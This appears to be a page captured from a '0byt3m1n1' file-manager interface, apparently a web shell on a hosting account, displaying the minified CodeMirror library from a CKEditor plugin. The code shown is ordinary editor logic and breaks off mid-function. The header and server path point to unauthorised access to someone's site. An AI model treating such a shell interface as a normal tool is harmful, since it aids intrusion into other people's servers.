0byt3m1n1
Path:
/
home
/
mgatv524
/
www
/
edurocha
/
web
/
dist
/
vendor
/
ckeditor
/
plugins
/
codemirror
/
js
/
[
Home
]
File: codemirror.min.js
window.CodeMirror=function(){function t(e,r){if(!(this instanceof t))return new t(e,r);for(var n in this.options=r=r||{},dn)!r.hasOwnProperty(n)&&dn.hasOwnProperty(n)&&(r[n]=dn[n]);u(r),(n=this.display=function(t,e){var r={},n=r.input=mr("textarea",null,null,"position: absolute; padding: 0; width: 1px; height: 1em; outline: none; font-size: 4px;");return Ir?n.style.width="1000px":n.setAttribute("wrap","off"),Xr&&(n.style.border="1px solid black"),n.setAttribute("autocorrect","off"),n.setAttribute("autocapitalize","off"),n.setAttribute("spellcheck","false"),r.inputDiv=mr("div",[n],null,"overflow: hidden; position: relative; width: 3px; height: 0px;"),r.scrollbarH=mr("div",[mr("div",null,null,"height: 1px")],"CodeMirror-hscrollbar"),r.scrollbarV=mr("div",[mr("div",null,null,"width: 1px")],"CodeMirror-vscrollbar"),r.scrollbarFiller=mr("div",null,"CodeMirror-scrollbar-filler"),r.gutterFiller=mr("div",null,"CodeMirror-gutter-filler"),r.lineDiv=mr("div",null,"CodeMirror-code"),r.selectionDiv=mr("div",null,null,"position: relative; z-index: 1"),r.cursor=mr("div"," ","CodeMirror-cursor"),r.otherCursor=mr("div"," ","CodeMirror-cursor CodeMirror-secondarycursor"),r.measure=mr("div",null,"CodeMirror-measure"),r.lineSpace=mr("div",[r.measure,r.selectionDiv,r.lineDiv,r.cursor,r.otherCursor],null,"position: relative; outline: none"),r.mover=mr("div",[mr("div",[r.lineSpace],"CodeMirror-lines")],null,"position: relative"),r.sizer=mr("div",[r.mover],"CodeMirror-sizer"),r.heightForcer=mr("div",null,null,"position: absolute; height: "+Dn+"px; width: 1px;"),r.gutters=mr("div",null,"CodeMirror-gutters"),r.lineGutter=null,r.scroller=mr("div",[r.sizer,r.heightForcer,r.gutters],"CodeMirror-scroll"),r.scroller.setAttribute("tabIndex","-1"),r.wrapper=mr("div",[r.inputDiv,r.scrollbarH,r.scrollbarV,r.scrollbarFiller,r.gutterFiller,r.scroller],"CodeMirror"),Or&&(r.gutters.style.zIndex=-1,r.scroller.style.paddingRight=0),t.appendChild?t.appendChild(r.wrapper):t(r.wrapper),Xr&&(n.style.width="0px"),Ir||(r.scroller.draggable=!0),Gr?(r.inputDiv.style.height="1px",r.inputDiv.style.position="absolute"):Or&&(r.scrollbarH.style.minWidth=r.scrollbarV.style.minWidth="18px"),r.viewOffset=r.lastSizeC=0,r.showingFrom=r.showingTo=e,r.lineNumWidth=r.lineNumInnerWidth=r.lineNumChars=null,r.prevInput="",r.alignWidgets=!1,r.pollingFast=!1,r.poll=new nr,r.cachedCharWidth=r.cachedTextHeight=null,r.measureLineCache=[],r.measureLineCachePos=0,r.inaccurateSelection=!1,r.maxLine=null,r.maxLineLength=0,r.maxLineChanged=!1,r.wheelDX=r.wheelDY=r.wheelStartX=r.wheelStartY=null,r}(e,"string"==typeof r.value?0:r.value.first)).wrapper.CodeMirror=this,s(this),r.autofocus&&!_r&&j(this),this.state={keyMaps:[],overlays:[],modeGen:0,overwrite:!1,focused:!1,suppressEdits:!1,pasteIncoming:!1,draggingText:!1,highlight:new nr},o(this),r.lineWrapping&&(this.display.wrapper.className+=" CodeMirror-wrap");var i,l=r.value;"string"==typeof l&&(l=new Mn(r.value,r.mode)),B(this,ke)(this,l),Wr&&setTimeout(fr(Y,this,!0),20),function(t){function e(){t.state.focused&&setTimeout(fr(j,t),0)}function r(){null==o&&(o=setTimeout((function(){o=null,l.cachedCharWidth=l.cachedTextHeight=Fn=null,A(t),V(t,fr(K,t))}),100))}function n(e){Je(t,e)||t.options.onDragEvent&&t.options.onDragEvent(t,Ke(e))||Ye(e)}function i(){l.inaccurateSelection&&(l.prevInput="",l.inaccurateSelection=!1,l.input.value=t.getSelection(),sr(l.input))}var o,l=t.display;$e(l.scroller,"mousedown",B(t,Q)),$e(l.scroller,"dblclick",Wr?B(t,(function(e){if(!Je(t,e)){var r=q(t,e);r&&!J(t,e,"gutterClick",!0,Qe)&&!Z(t.display,e)&&(Ue(e),e=Bt(Se(t.doc,r.line).text,r),At(t.doc,e.from,e.to))}})):function(e){Je(t,e)||Ue(e)}),$e(l.lineSpace,"selectstart",(function(t){Z(l,t)||Ue(t)})),tn||$e(l.scroller,"contextmenu",(function(e){ht(t,e)})),$e(l.scroller,"scroll",(function(){l.scroller.clientHeight&&(et(t,l.scroller.scrollTop),rt(t,l.scroller.scrollLeft,!0),qe(t,"scroll",t))})),$e(l.scrollbarV,"scroll",(function(){l.scroller.clientHeight&&et(t,l.scrollbarV.scrollTop)})),$e(l.scrollbarH,"scroll",(function(){l.scroller.clientHeight&&rt(t,l.scrollbarH.scrollLeft)})),$e(l.scroller,"mousewheel",(function(e){nt(t,e)})),$e(l.scroller,"DOMMouseScroll",(function(e){nt(t,e)})),$e(l.scrollbarH,"mousedown",e),$e(l.scrollbarV,"mousedown",e),$e(l.wrapper,"scroll",(function(){l.wrapper.scrollTop=l.wrapper.scrollLeft=0})),$e(window,"resize",r),setTimeout((function t(){for(var e=l.wrapper.parentNode;e&&e!=document.body;e=e.parentNode);e?setTimeout(t,5e3):Ze(window,"resize",r)}),5e3),$e(l.input,"keyup",B(t,(function(e){Je(t,e)||t.options.onKeyEvent&&t.options.onKeyEvent(t,Ke(e))||16!=e.keyCode||(t.doc.sel.shift=!1)}))),$e(l.input,"input",(function(){Wr&&!Er&&t.display.inputHasSelection&&(t.display.inputHasSelection=null),X(t)})),$e(l.input,"keydown",B(t,st)),$e(l.input,"keypress",B(t,at)),$e(l.input,"focus",fr(ct,t)),$e(l.input,"blur",fr(ut,t)),t.options.dragDrop&&($e(l.scroller,"dragstart",(function(e){var r=t;if(Wr&&(!r.state.draggingText||100>+new Date-on))Ye(e);else if(!Je(r,e)&&!Z(r.display,e)){var n=r.getSelection();e.dataTransfer.setData("Text",n),e.dataTransfer.setDragImage&&!Br&&((n=mr("img",null,null,"position: fixed; left: 0; top: 0;")).src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==",Rr&&(n.width=n.height=1,r.display.wrapper.appendChild(n),n._top=n.offsetTop),e.dataTransfer.setDragImage(n,0,0),Rr&&n.parentNode.removeChild(n))}})),$e(l.scroller,"dragenter",n),$e(l.scroller,"dragover",n),$e(l.scroller,"drop",B(t,tt))),$e(l.scroller,"paste",(function(e){Z(l,e)||(j(t),X(t))})),$e(l.input,"paste",(function(){if(Ir&&!t.state.fakedLastChar&&!(new Date-t.state.lastMiddleDown<200)){var e=l.input.selectionStart,r=l.input.selectionEnd;l.input.value=l.input.value+"$",l.input.selectionStart=e,l.input.selectionEnd=r,t.state.fakedLastChar=!0}t.state.pasteIncoming=!0,X(t)})),$e(l.input,"cut",i),$e(l.input,"copy",i),Gr&&$e(l.sizer,"mouseup",(function(){document.activeElement==l.input&&l.input.blur(),j(t)}))}(this);try{i=document.activeElement==n.input}catch(t){}i||r.autofocus&&!_r?setTimeout(fr(ct,this),20):ut(this),B(this,(function(){for(var t in fn)fn.propertyIsEnumerable(t)&&fn[t](this,r[t],pn);for(t=0;t<yn.length;++t)yn[t](this)}))()}function e(e){e.doc.mode=t.getMode(e.options,e.doc.modeOption),e.doc.iter((function(t){t.stateAfter&&(t.stateAfter=null),t.styles&&(t.styles=null)})),e.doc.frontier=e.doc.first,C(e,100),e.state.modeGen++,e.curOp&&K(e)}function r(t){var e=I(t.display),r=t.options.lineWrapping,n=r&&Math.max(5,t.display.scroller.clientWidth/F(t.display)-3);return function(i){return ie(t.doc,i)?0:r?(Math.ceil(i.text.length/n)||1)*e:e}}function n(t){var e=t.doc,n=r(t);e.iter((function(t){var e=n(t);e!=t.height&&Ae(t,e)}))}function i(t){var e=Cn[t.options.keyMap],r=e.style;t.display.wrapper.className=t.display.wrapper.className.replace(/\s*cm-keymap-\S+/g,"")+(r?" cm-keymap-"+r:""),t.state.disableInput=e.disableInput}function o(t){t.display.wrapper.className=t.display.wrapper.className.replace(/\s*cm-s-\S+/g,"")+t.options.theme.replace(/(^|\s)\s*/g," cm-s-"),A(t)}function l(t){s(t),K(t),setTimeout((function(){d(t)}),20)}function s(t){var e=t.display.gutters,r=t.options.gutters;gr(e);for(var n=0;n<r.length;++n){var i=r[n],o=e.appendChild(mr("div",null,"CodeMirror-gutter "+i));"CodeMirror-linenumbers"==i&&(t.display.lineGutter=o,o.style.width=(t.display.lineNumWidth||1)+"px")}e.style.display=n?"":"none"}function a(t,e){if(0==e.height)return 0;for(var r,n=e.text.length,i=e;r=ee(i,-1);)i=Se(t,(r=r.find()).from.line),n+=r.from.ch-r.to.ch;for(i=e;r=re(i);)r=r.find(),n-=i.text.length-r.from.ch,n+=(i=Se(t,r.to.line)).text.length-r.to.ch;return n}function c(t){var e=t.display,r=t.doc;e.maxLine=Se(r,r.first),e.maxLineLength=a(r,e.maxLine),e.maxLineChanged=!0,r.iter((function(t){var n=a(r,t);n>e.maxLineLength&&(e.maxLineLength=n,e.maxLine=t)}))}function u(t){var e=ar(t.gutters,"CodeMirror-linenumbers");-1==e&&t.lineNumbers?t.gutters=t.gutters.concat(["CodeMirror-linenumbers"]):-1<e&&!t.lineNumbers&&(t.gutters=t.gutters.slice(0),t.gutters.splice(e,1))}function h(t){var e=t.display,r=t.doc.height+(e.mover.offsetHeight-e.lineSpace.offsetHeight);e.sizer.style.minHeight=e.heightForcer.style.top=r+"px",e.gutters.style.height=Math.max(r,e.scroller.clientHeight-Dn)+"px",r=Math.max(r,e.scroller.scrollHeight);var n=e.scroller.scrollWidth>e.scroller.clientWidth+1,i=r>e.scroller.clientHeight+1;i?(e.scrollbarV.style.display="block",e.scrollbarV.style.bottom=n?Cr(e.measure)+"px":"0",e.scrollbarV.firstChild.style.height=r-e.scroller.clientHeight+e.scrollbarV.clientHeight+"px"):(e.scrollbarV.style.display="",e.scrollbarV.firstChild.style.height="0"),n?(e.scrollbarH.style.display="block",e.scrollbarH.style.right=i?Cr(e.measure)+"px":"0",e.scrollbarH.firstChild.style.width=e.scroller.scrollWidth-e.scroller.clientWidth+e.scrollbarH.clientWidth+"px"):(e.scrollbarH.style.display="",e.scrollbarH.firstChild.style.width="0"),n&&i?(e.scrollbarFiller.style.display="block",e.scrollbarFiller.style.height=e.scrollbarFiller.style.width=Cr(e.measure)+"px"):e.scrollbarFiller.style.display="",n&&t.options.coverGutterNextToScrollbar&&t.options.fixedGutter?(e.gutterFiller.style.display="block",e.gutterFiller.style.height=Cr(e.measure)+"px",e.gutterFiller.style.width=e.gutters.offsetWidth+"px"):e.gutterFiller.style.display="",Vr&&0===Cr(e.measure)&&(e.scrollbarV.style.minWidth=e.scrollbarH.style.minHeight=Kr?"18px":"12px",e.scrollbarV.style.pointerEvents=e.scrollbarH.style.pointerEvents="none")}function f(t,e,r){var n=t.scroller.scrollTop,i=t.wrapper.clientHeight;return"number"==typeof r?n=r:r&&(n=r.top,i=r.bottom-r.top),n=Math.floor(n-t.lineSpace.offsetTop),t=Math.ceil(n+i),{from:He(e,n),to:He(e,t)}}function d(t){var e=t.display;if(e.alignWidgets||e.gutters.firstChild&&t.options.fixedGutter){for(var r=p(e)-e.scroller.scrollLeft+t.doc.scrollLeft,n=e.gutters.offsetWidth,i=r+"px",o=e.lineDiv.firstChild;o;o=o.nextSibling)if(o.alignable)for(var l=0,s=o.alignable;l<s.length;++l)s[l].style.left=i;t.options.fixedGutter&&(e.gutters.style.left=r+n+"px")}}function p(t){return br(t.scroller).left-br(t.sizer).left}function m(t,e,r,n){for(var i,o=t.display.showingFrom,l=t.display.showingTo,s=f(t.display,t.doc,r),a=!0;;a=!1){var c=t.display.scroller.clientWidth;if(!g(t,e,s,n))break;if(i=!0,e=[],b(t),h(t),a&&t.options.lineWrapping&&c!=t.display.scroller.clientWidth)n=!0;else if(n=!1,r&&(r=Math.min(t.display.scroller.scrollHeight-t.display.scroller.clientHeight,"number"==typeof r?r:r.top)),(s=f(t.display,t.doc,r)).from>=t.display.showingFrom&&s.to<=t.display.showingTo)break}return i&&(Qe(t,"update",t),(t.display.showingFrom!=o||t.display.showingTo!=l)&&Qe(t,"viewportChange",t,t.display.showingFrom,t.display.showingTo)),i}function g(t,e,r,n){var i=t.display,o=t.doc;if(i.wrapper.clientWidth){if(n||!(0==e.length&&r.from>i.showingFrom&&r.to<i.showingTo)){(function(t){if(!t.options.lineNumbers)return!1;var e=t.doc;if(e=""+t.options.lineNumberFormatter(e.first+e.size-1+t.options.firstLineNumber),t=t.display,e.length!=t.lineNumChars){var r=(n=t.measure.appendChild(mr("div",[mr("div",e)],"CodeMirror-linenumber CodeMirror-gutter-elt"))).firstChild.offsetWidth,n=n.offsetWidth-r;return t.lineGutter.style.width="",t.lineNumInnerWidth=Math.max(r,t.lineGutter.offsetWidth-n),t.lineNumWidth=t.lineNumInnerWidth+n,t.lineNumChars=t.lineNumInnerWidth?e.length:-1,t.lineGutter.style.width=t.lineNumWidth+"px",!0}return!1})(t)&&(e=[{from:o.first,to:o.first+o.size}]);var l=i.sizer.style.marginLeft=i.gutters.offsetWidth+"px";if(i.scrollbarH.style.left=t.options.fixedGutter?l:"0",l=1/0,t.options.lineNumbers)for(var s=0;s<e.length;++s)e[s].diff&&e[s].from<l&&(l=e[s].from);s=o.first+o.size;var a=Math.max(r.from-t.options.viewportMargin,o.first);if(r=Math.min(s,r.to+t.options.viewportMargin),i.showingFrom<a&&20>a-i.showingFrom&&(a=Math.max(o.first,i.showingFrom)),i.showingTo>r&&20>i.showingTo-r&&(r=Math.min(s,i.showingTo)),rn)for(a=Ne(ne(o,Se(o,a)));r<s&&ie(o,Se(o,r));)++r;var c=(c=[{from:Math.max(i.showingFrom,o.first),to:Math.min(i.showingTo,s)}])[0].from>=c[0].to?[]:function(t,e){for(var r=0,n=e.length||0;r<n;++r){for(var i=e[r],o=[],l=i.diff||0,s=0,a=t.length;s<a;++s){var c=t[s];i.to<=c.from&&i.diff?o.push({from:c.from+l,to:c.to+l}):i.to<=c.from||i.from>=c.to?o.push(c):(i.from>c.from&&o.push({from:c.from,to:i.from}),i.to<c.to&&o.push({from:i.to+l,to:c.to+l}))}t=o}return t}(c,e);if(rn)for(s=0;s<c.length;++s){var u;for(e=c[s];u=re(Se(o,e.to-1));){if(!((u=u.find().from.line)>e.from)){c.splice(s--,1);break}e.to=u}}for(s=o=0;s<c.length;++s)(e=c[s]).from<a&&(e.from=a),e.to>r&&(e.to=r),e.from>=e.to?c.splice(s--,1):o+=e.to-e.from;if(n||o!=r-a||a!=i.showingFrom||r!=i.showingTo){c.sort((function(t,e){return t.from-e.from}));try{var h=document.activeElement}catch(t){}return o<.7*(r-a)&&(i.lineDiv.style.display="none"),function(t,e,r,n,i){function o(e){var r=e.nextSibling;return Ir&&Yr&&t.display.currentWheelTarget==e?(e.style.display="none",e.lineObj=null):e.parentNode.removeChild(e),r}var l=function(t){for(var e=t.display,r={},n={},i=e.gutters.firstChild,o=0;i;i=i.nextSibling,++o)r[t.options.gutters[o]]=i.offsetLeft,n[t.options.gutters[o]]=i.offsetWidth;return{fixedPos:p(e),gutterTotalWidth:e.gutters.offsetWidth,gutterLeft:r,gutterWidth:n,wrapperWidth:e.wrapper.clientWidth}}(t),s=t.display,a=t.options.lineNumbers;!n.length&&(!Ir||!t.display.currentWheelTarget)&&gr(s.lineDiv);var c=s.lineDiv,u=c.firstChild,h=n.shift(),f=e;for(t.doc.iter(e,r,(function(e){if(h&&h.to==f&&(h=n.shift()),ie(t.doc,e)){if(0!=e.height&&Ae(e,0),e.widgets&&u&&u.previousSibling)for(var r=0;r<e.widgets.length;++r){var s=e.widgets[r];if(s.showIfHidden){var d=u.previousSibling;if(/pre/i.test(d.nodeName)){var p=mr("div",null,null,"position: relative");d.parentNode.replaceChild(p,d),p.appendChild(d),d=p}p=d.appendChild(mr("div",[s.node],"CodeMirror-linewidget")),s.handleMouseEvents||(p.ignoreEvents=!0),y(s,p,d,l)}}}else if(h&&h.from<=f&&h.to>f){for(;u.lineObj!=e;)u=o(u);a&&i<=f&&u.lineNumber&&yr(u.lineNumber,""+t.options.lineNumberFormatter(f+t.options.firstLineNumber)),u=u.nextSibling}else{if(e.widgets){p=0;for(var m=u;m&&20>p;++p,m=m.nextSibling)if(m.lineObj==e&&/div/i.test(m.nodeName)){r=m;break}}var g=f,v=r,b=me(p=t,e),x=(m=b.pre,e.gutterMarkers),C=p.display,w=b.bgClass?b.bgClass+" "+(e.bgClass||""):e.bgClass;if(p.options.lineNumbers||x||w||e.wrapClass||e.widgets){if(v){v.alignable=null;for(var L,k=!0,S=0,M=null,T=v.firstChild;T;T=L)if(L=T.nextSibling,/\bCodeMirror-linewidget\b/.test(T.className)){for(b=0;b<e.widgets.length;++b){var A=e.widgets[b];if(A.node==T.firstChild){!A.above&&!M&&(M=T),y(A,T,v,l),++S;break}}if(b==e.widgets.length){k=!1;break}}else v.removeChild(T);v.insertBefore(m,M),k&&S==e.widgets.length&&(s=v,v.className=e.wrapClass||"")}if(s||(s=mr("div",null,e.wrapClass,"position: relative")).appendChild(m),w&&s.insertBefore(mr("div",null,w+" CodeMirror-linebackground"),s.firstChild),(p.options.lineNumbers||x)&&(d=s.insertBefore(mr("div",null,null,"position: absolute; left: "+(p.options.fixedGutter?l.fixedPos:-l.gutterTotalWidth)+"px"),s.firstChild),p.options.fixedGutter&&(s.alignable||(s.alignable=[])).push(d),!p.options.lineNumbers||x&&x["CodeMirror-linenumbers"]||(s.lineNumber=d.appendChild(mr("div",""+p.options.lineNumberFormatter(g+p.options.firstLineNumber),"CodeMirror-linenumber CodeMirror-gutter-elt","left: "+l.gutterLeft["CodeMirror-linenumbers"]+"px; width: "+C.lineNumInnerWidth+"px"))),x))for(b=0;b<p.options.gutters.length;++b)A=p.options.gutters[b],(g=x.hasOwnProperty(A)&&x[A])&&d.appendChild(mr("div",[g],"CodeMirror-gutter-elt","left: "+l.gutterLeft[A]+"px; width: "+l.gutterWidth[A]+"px"));if(Or&&(s.style.zIndex=2),e.widgets&&s!=v)for(b=0,v=e.widgets;b<v.length;++b)x=mr("div",[(A=v[b]).node],"CodeMirror-linewidget"),A.handleMouseEvents||(x.ignoreEvents=!0),y(A,x,s,l),A.above?s.insertBefore(x,p.options.lineNumbers&&0!=e.height?d:m):s.appendChild(x),Qe(A,"redraw")}else s=m;if(s!=r)c.insertBefore(s,u);else{for(;u!=r;)u=o(u);u=u.nextSibling}s.lineObj=e}++f}));u;)u=o(u)}(t,a,r,c,l),i.lineDiv.style.display="",h&&document.activeElement!=h&&h.offsetHeight&&h.focus(),a==i.showingFrom&&r==i.showingTo&&i.lastSizeC==i.wrapper.clientHeight||(i.lastSizeC=i.wrapper.clientHeight,C(t,400)),i.showingFrom=a,i.showingTo=r,function(t){for(var e,r=(t=t.display).lineDiv.offsetTop,n=t.lineDiv.firstChild;n;n=n.nextSibling)if(n.lineObj){if(Or){var i=n.offsetTop+n.offsetHeight;e=i-r,r=i}else e=(e=br(n)).bottom-e.top;if(i=n.lineObj.height-e,2>e&&(e=I(t)),(.001<i||-.001>i)&&(Ae(n.lineObj,e),e=n.lineObj.widgets))for(i=0;i<e.length;++i)e[i].height=e[i].node.offsetHeight}}(t),v(t),!0}v(t)}}else i.showingFrom=i.showingTo=o.first,i.viewOffset=0}function v(t){var e=t.display.viewOffset=De(t,Se(t.doc,t.display.showingFrom));t.display.mover.style.top=e+"px"}function y(t,e,r,n){t.noHScroll&&((r.alignable||(r.alignable=[])).push(e),r=n.wrapperWidth,e.style.left=n.fixedPos+"px",t.coverGutter||(r-=n.gutterTotalWidth,e.style.paddingLeft=n.gutterTotalWidth+"px"),e.style.width=r+"px"),t.coverGutter&&(e.style.zIndex=5,e.style.position="relative",t.noHScroll||(e.style.marginLeft=-n.gutterTotalWidth+"px"))}function b(t){var e=t.display,r=wt(t.doc.sel.from,t.doc.sel.to);if(r||t.options.showCursorWhenSelecting){var n=t.display,i=W(t,t.doc.sel.head,"div");n.cursor.style.left=i.left+"px",n.cursor.style.top=i.top+"px",n.cursor.style.height=Math.max(0,i.bottom-i.top)*t.options.cursorHeight+"px",n.cursor.style.display="",i.other?(n.otherCursor.style.display="",n.otherCursor.style.left=i.other.left+"px",n.otherCursor.style.top=i.other.top+"px",n.otherCursor.style.height=.85*(i.other.bottom-i.other.top)+"px"):n.otherCursor.style.display="none"}else e.cursor.style.display=e.otherCursor.style.display="none";r?e.selectionDiv.style.display="none":function(t){function e(t,e,r,n){0>e&&(e=0),l.appendChild(mr("div",null,"CodeMirror-selected","position: absolute; left: "+t+"px; top: "+e+"px; width: "+(null==r?s-t:r)+"px; height: "+(n-e)+"px"))}function r(r,n,o){var l,c,u=Se(i,r),h=u.text.length;return function(t,e,r,n){if(!t)return n(e,r,"ltr");for(var i=!1,o=0;o<t.length;++o){var l=t[o];(l.from<r&&l.to>e||e==r&&l.to==e)&&(n(Math.max(l.from,e),Math.min(l.to,r),1==l.level?"rtl":"ltr"),i=!0)}i||n(e,r,"ltr")}(We(u),n||0,null==o?h:o,(function(i,f,d){var p,m,g=D(t,Ct(r,i),"div",u,"left");i==f?(p=g,d=m=g.left):(p=D(t,Ct(r,f-1),"div",u,"right"),"rtl"==d&&(d=g,g=p,p=d),d=g.left,m=p.right),null==n&&0==i&&(d=a),3<p.top-g.top&&(e(d,g.top,null,g.bottom),d=a,g.bottom<p.top&&e(d,g.bottom,null,p.top)),null==o&&f==h&&(m=s),(!l||g.top<l.top||g.top==l.top&&g.left<l.left)&&(l=g),(!c||p.bottom>c.bottom||p.bottom==c.bottom&&p.right>c.right)&&(c=p),d<a+1&&(d=a),e(d,p.top,m-d,p.bottom)})),{start:l,end:c}}var n=t.display,i=t.doc,o=t.doc.sel,l=document.createDocumentFragment(),s=n.lineSpace.offsetWidth,a=vr(t.display.measure,mr("pre",null,null,"text-align: left")).appendChild(mr("span","x")).offsetLeft;if(o.from.line==o.to.line)r(o.from.line,o.from.ch,o.to.ch);else{var c=Se(i,o.from.line),u=Se(i,o.to.line);u=ne(i,c)==ne(i,u),c=r(o.from.line,o.from.ch,u?c.text.length:null).end,o=r(o.to.line,u?0:null,o.to.ch).start,u&&(c.top<o.top-2?(e(c.right,c.top,null,c.bottom),e(a,o.top,o.left,o.bottom)):e(c.right,c.top,o.left-c.right,c.bottom)),c.bottom<o.top&&e(a,c.bottom,null,o.top)}vr(n.selectionDiv,l),n.selectionDiv.style.display=""}(t),t.options.moveInputWithCursor&&(t=W(t,t.doc.sel.head,"div"),r=br(e.wrapper),n=br(e.lineDiv),e.inputDiv.style.top=Math.max(0,Math.min(e.wrapper.clientHeight-10,t.top+n.top-r.top))+"px",e.inputDiv.style.left=Math.max(0,Math.min(e.wrapper.clientWidth-10,t.left+n.left-r.left))+"px")}function x(t){if(t.state.focused){var e=t.display;clearInterval(e.blinker);var r=!0;e.cursor.style.visibility=e.otherCursor.style.visibility="",0<t.options.cursorBlinkRate&&(e.blinker=setInterval((function(){e.cursor.style.visibility=e.otherCursor.style.visibility=(r=!r)?"":"hidden"}),t.options.cursorBlinkRate))}}function C(t,e){t.doc.mode.startState&&t.doc.frontier<t.display.showingTo&&t.state.highlight.set(e,fr(w,t))}function w(t){var e=t.doc;if(e.frontier<e.first&&(e.frontier=e.first),!(e.frontier>=t.display.showingTo)){var r,n=+new Date+t.options.workTime,i=Vt(e.mode,L(t,e.frontier)),o=[];e.iter(e.frontier,Math.min(e.first+e.size,t.display.showingTo+500),(function(l){if(e.frontier>=t.display.showingFrom){var s=l.styles;l.styles=he(t,l,i,!0);for(var a=!s||s.length!=l.styles.length,c=0;!a&&c<s.length;++c)a=s[c]!=l.styles[c];a&&(r&&r.end==e.frontier?r.end++:o.push(r={start:e.frontier,end:e.frontier+1})),l.stateAfter=Vt(e.mode,i)}else de(t,l.text,i),l.stateAfter=e.frontier%5==0?Vt(e.mode,i):null;if(++e.frontier,+new Date>n)return C(t,t.options.workDelay),!0})),o.length&&B(t,(function(){for(var t=0;t<o.length;++t)K(this,o[t].start,o[t].end)}))()}}function L(t,e,r){var n=t.doc,i=t.display;if(!n.mode.startState)return!0;var o=function(t,e,r){for(var n,i,o=t.doc,l=r?-1:e-(t.doc.mode.innerMode?1e3:100);e>l;--e){if(e<=o.first)return o.first;var s=Se(o,e-1);if(s.stateAfter&&(!r||e<=o.frontier))return e;s=ir(s.text,null,t.options.tabSize),(null==i||n>s)&&(i=e-1,n=s)}return i}(t,e,r),l=(l=o>n.first&&Se(n,o-1).stateAfter)?Vt(n.mode,l):Kt(n.mode);return n.iter(o,e,(function(r){de(t,r.text,l),r.stateAfter=o==e-1||0==o%5||o>=i.showingFrom&&o<i.showingTo?Vt(n.mode,l):null,++o})),r&&(n.frontier=o),l}function k(t,e,r,n,i){var o=-1;if((n=n||M(t,e)).crude)return{left:r=n.left+r*n.width,right:r+n.width,top:n.top,bottom:n.bottom};for(t=r;;t+=o){var l=n[t];if(l)break;0>o&&0==t&&(o=1)}return"left"==(i=t>r?"left":t<r?"right":i)&&l.leftSide?l=l.leftSide:"right"==i&&l.rightSide&&(l=l.rightSide),{left:t<r?l.right:l.left,right:t>r?l.left:l.right,top:l.top,bottom:l.bottom}}function S(t,e){for(var r=t.display.measureLineCache,n=0;n<r.length;++n){var i=r[n];if(i.text==e.text&&i.markedSpans==e.markedSpans&&t.display.scroller.clientWidth==i.width&&i.classes==e.textClass+"|"+e.wrapClass)return i}}function M(t,e){if(r=S(t,e))return r.measure;var r=T(t,e),n=t.display.measureLineCache,i={text:e.text,width:t.display.scroller.clientWidth,markedSpans:e.markedSpans,measure:r,classes:e.textClass+"|"+e.wrapClass};return 16==n.length?n[++t.display.measureLineCachePos%16]=i:n.push(i),r}function T(t,e){function r(t){var e=t.top-d.top,r=t.bottom-d.top;r>m&&(r=m),0>e&&(e=0);for(var n=p.length-2;0<=n;n-=2){var i=p[n],o=p[n+1];if(!(i>r||o<e)&&(i<=e&&o>=r||e<=i&&r>=o||Math.min(r,o)-Math.max(e,i)>=r-e>>1)){p[n]=Math.min(e,i),p[n+1]=Math.max(r,o);break}}return 0>n&&(n=p.length,p.push(e,r)),{left:t.left-d.left,right:t.right-d.left,top:n,bottom:null}}function n(t){t.bottom=p[t.top+1],t.top=p[t.top]}if(!t.options.lineWrapping&&e.text.length>=t.options.crudeMeasuringFrom)return function(t,e){var r=new Ln(e.text.slice(0,100),null);e.textClass&&(r.textClass=e.textClass);var n=T(t,r),i=k(t,r,0,n,"left");return r=k(t,r,99,n,"right"),{crude:!0,top:i.top,left:i.left,bottom:i.bottom,width:(r.right-i.left)/100}}(t,e);var i=t.display,o=hr(e.text.length),l=me(t,e,o,!0).pre;if(Wr&&!Or&&!t.options.lineWrapping&&100<l.childNodes.length){for(var s=document.createDocumentFragment(),a=l.childNodes.length,c=0,u=Math.ceil(a/10);c<u;++c){for(var h=mr("div",null,null,"display: inline-block"),f=0;10>f&&a;++f)h.appendChild(l.firstChild),--a;s.appendChild(h)}l.appendChild(s)}vr(i.measure,l);var d=br(i.lineDiv),p=[],m=(s=hr(e.text.length),l.offsetHeight);for(Er&&i.measure.first!=l&&vr(i.measure,l),c=0;c<o.length;++c)(i=o[c])&&(l=i,a=null,/\bCodeMirror-widget\b/.test(i.className)&&i.getClientRects&&(1==i.firstChild.nodeType&&(l=i.firstChild),1<(u=l.getClientRects()).length)&&((a=s[c]=r(u[0])).rightSide=r(u[u.length-1])),a||(a=s[c]=r(br(l))),i.measureRight&&(a.right=br(i.measureRight).left),i.leftSide&&(a.leftSide=r(br(i.leftSide))));for(gr(t.display.measure),c=0;c<s.length;++c)(i=s[c])&&(n(i),i.leftSide&&n(i.leftSide),i.rightSide&&n(i.rightSide));return s}function A(t){t.display.measureLineCache.length=t.display.measureLineCachePos=0,t.display.cachedCharWidth=t.display.cachedTextHeight=null,t.options.lineWrapping||(t.display.maxLineChanged=!0),t.display.lineNumChars=null}function N(t,e,r,n){if(e.widgets)for(var i=0;i<e.widgets.length;++i)if(e.widgets[i].above){var o=ce(e.widgets[i]);r.top+=o,r.bottom+=o}return"line"==n||(n||(n="local"),e=De(t,e),e="local"==n?e+t.display.lineSpace.offsetTop:e-t.display.viewOffset,"page"!=n&&"window"!=n||(e+=(t=br(t.display.lineSpace)).top+("window"==n?0:window.pageYOffset||(document.documentElement||document.body).scrollTop),n=t.left+("window"==n?0:window.pageXOffset||(document.documentElement||document.body).scrollLeft),r.left+=n,r.right+=n),r.top+=e,r.bottom+=e),r}function H(t,e,r){if("div"==r)return e;var n=e.left;return e=e.top,"page"==r?(n-=window.pageXOffset||(document.documentElement||document.body).scrollLeft,e-=window.pageYOffset||(document.documentElement||document.body).scrollTop):"local"!=r&&r||(n+=(r=br(t.display.sizer)).left,e+=r.top),{left:n-(t=br(t.display.lineSpace)).left,top:e-t.top}}function D(t,e,r,n,i){return n||(n=Se(t.doc,e.line)),N(t,n,k(t,n,e.ch,null,i),r)}function W(t,e,r,n,i){function o(e,o){var l=k(t,n,e,i,o?"right":"left");return o?l.left=l.right:l.right=l.left,N(t,n,l,r)}function l(t,e){var r=s[e],n=r.level%2;return t==(r.level%2?r.to:r.from)&&e&&r.level<s[e-1].level?(t=Lr(r=s[--e])-(r.level%2?0:1),n=!0):t==Lr(r)&&e<s.length-1&&r.level<s[e+1].level&&(t=((r=s[++e]).level%2?r.to:r.from)-r.level%2,n=!1),n&&t==r.to&&t>r.from?o(t-1):o(t,n)}n=n||Se(t.doc,e.line),i||(i=M(t,n));var s=We(n);if(e=e.ch,!s)return o(e);var a=l(e,a=Tr(s,e));return 